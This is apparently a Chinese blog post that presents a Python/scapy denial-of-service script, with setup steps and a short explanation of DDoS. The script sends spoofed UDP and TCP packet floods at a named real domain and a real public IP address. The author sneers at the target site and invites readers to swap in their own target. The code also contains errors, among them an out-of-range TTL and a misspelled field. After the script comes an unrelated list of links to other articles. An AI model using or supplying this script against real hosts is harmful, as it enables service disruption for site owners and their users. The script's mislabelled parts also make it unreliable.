python写一个DDos脚本(DOS)
前言:突然想写,然后去了解原理
DDOS原理:往指定的IP发送数据包(僵尸网络),导致服务器
拒绝服务,无法正常访问。
0x01:
要用到的模块
scapy模块
pip install scapy
或:
https://github.com/phaethon/scapy
下载setup.py
然后执行python setup.py install
系统环境:kali Linux
windows会报模块缺少还有一个162行的windows.dll的错误
打大站,妹的。恶心的一片的站
0x03
代码分析:
#-*- coding:'utf-8' -*-
import time
import struct
from threading import *
import socket
from scapy.all import *
start=time.time()
screenlock=Semaphore(value=1000)
print '[^]HAQ DDOs start!'
def DDos():
try:
print '[*]Second layers of DDos'
s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击
print s[0].show()
except Exception,e:
print '[-]The cause of the mistake {}'.format(e)
try:
print '[*]Third layer DDos'
p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三层攻击
print p[0].show()
except Exception,s:
print '[-]The cause of the mistake{}'.format(s)
try:
print '[*]Repeated attacks'
see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重复攻击
print see[0].show()
except Exception,f:
print '[-]The cause of the mistake{}'.format(f)
try:
data = struct. pack ('=BHI',0x96,20,1000)
pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data
print '[*]DDoS attacks are being carried out!'
screenlock.acquire()
send (pkt,inter= 1 ,count= 160)
except Exception,g:
print "[-]The cause of the mistake{}".format(g)
try:
print '[*]DDos'
gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())
except Exception,i:
print '[-]cause of the mistake{}'.format(i)
t = Thread(target=DDos, args=())
t.start()
end=time.time()
print '[!]Time consuming of this program,The first time is the initialization time:',end-start
食用文档:https://phaethon.github.io/scapy/api/usage.html#starting-scapy
github下载地址:https://github.com/422926799/python
自己修改目标
恶意攻击他人服务器出事请自行负责。
python写一个DDos脚本(DOS)的更多相关文章
- 用Python写一个游戏脚本,你会吗?
前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:ivat4u 学习python有一段时间了,由于python语言的强大 ...
- 用python写一个自动化盲注脚本
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...
- 用Python写一个简单的Web框架
一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...
- 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)
昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...
- [py]python写一个通讯录step by step V3.0
python写一个通讯录step by step V3.0 参考: http://blog.51cto.com/lovelace/1631831 更新功能: 数据库进行数据存入和读取操作 字典配合函数 ...
- 【Python】如何基于Python写一个TCP反向连接后门
首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...
- Python写网络后台脚本
Python写网络后台脚本. 首先安装Python3.6.5,在centos中自带的Python是2.6版本的,现在早就出现了3.6版本了况且2和3 之间的差距还是比较大的,所以我选择更新一下Pyth ...
- 用Node+wechaty写一个爬虫脚本每天定时给女(男)朋友发微信暖心话
wechatBot 微信每日说,每日自动发送微信消息给你心爱的人 项目介绍 灵感来源 在掘金看到了一篇<用Node + EJS写一个爬虫脚本每天定时女朋友发一封暖心邮件>后, 在评论区偶然 ...
- Python写一个自动点餐程序
Python写一个自动点餐程序 为什么要写这个 公司现在用meican作为点餐渠道,每天规定的时间是早7:00-9:40点餐,有时候我经常容易忘记,或者是在地铁/公交上没办法点餐,所以总是没饭吃,只有 ...
随机推荐
- SET与SPLIT
所以说不要以为前一天考了什么后一天就不会考这类的东西了 出题人总是能竭尽所能 打破你的下限qaq naive split 详解blog来自ljz大佬:http://blog.csdn.net/ljz_ ...
- bzoj 3207: 花神的嘲讽计划Ⅰ
Description 背景 花神是神,一大癖好就是嘲讽大J,举例如下: "哎你傻不傻的![hqz:大笨J]" "这道题又被J屎过了!!" "J这程序 ...
- 9.nginx使用redis用缓存
需要使用到的第三方模块,因为在有道笔记上面,所以为办法直接给你们,需要的话给我私信或者邮件(913956964@qq.com) 1.编译安装,添加上述扩展插件 ./configure --prefix ...
- 让 kibana 后台启动的方案
为了解决启动kibana后关闭shell终端kibana自动关闭的问题,记录2种解决方案,试验后均可行. 假设kibana安装的目录为 /usr/local/kibana/ 方案一: 使用nohup ...
- mac安全权限解决
如果有以下提示的,并不是文件损坏了,而是macOS Sierra新系统取消了安装本地程序的功能. 解决办法如下: 1.首先打开终端(找不到哪里打开终端 command+空格 搜索 "终端 ...
- windows的ReactNative挖坑一分钟爬坑一小时
其实开发并不需要Android Studio来开发,因为命令行都是要自己手打的,所以就开始了我的挖坑爬坑之旅 首先安装React Native要用到的git.nodejs等等这里不讲了,主要讲在手机上 ...
- vue的挖坑和爬坑之css背景图样式终极解决方法
原问题 #wrapper{ width:100%; height:100%; position:fixed; background-image:url(./img/open_bg.jpg) } 在.v ...
- 学习整理与细化(1)——Internet 的域名系统(domain name system)
2015-09-20 整理人:承蒙时光 如有错误欢迎指教O(∩_∩)O谢谢 1.作用:提供主机符号符名与IP地址之间转换服务也称域名服务: 2..域名系统的层次型结构命名机制(服务器地址): 计算机名 ...
- Python 的编码格式
[前言] Python的编码格式对于初学者来说是很头疼的一件事,不过如果接触的多了,就会发现,只要在恰当的时候使用了恰好的编码,就不会出现太多的问题. [编码介绍] python 的编码格式2.x 和 ...
- 模拟winform里的控件的事件和委托机制
参考:.NET 中的委托 委托的两大用处 1.委托可以实现方法作为参数进行传递,如 /// <summary> /// the English speaker. /// </summ ...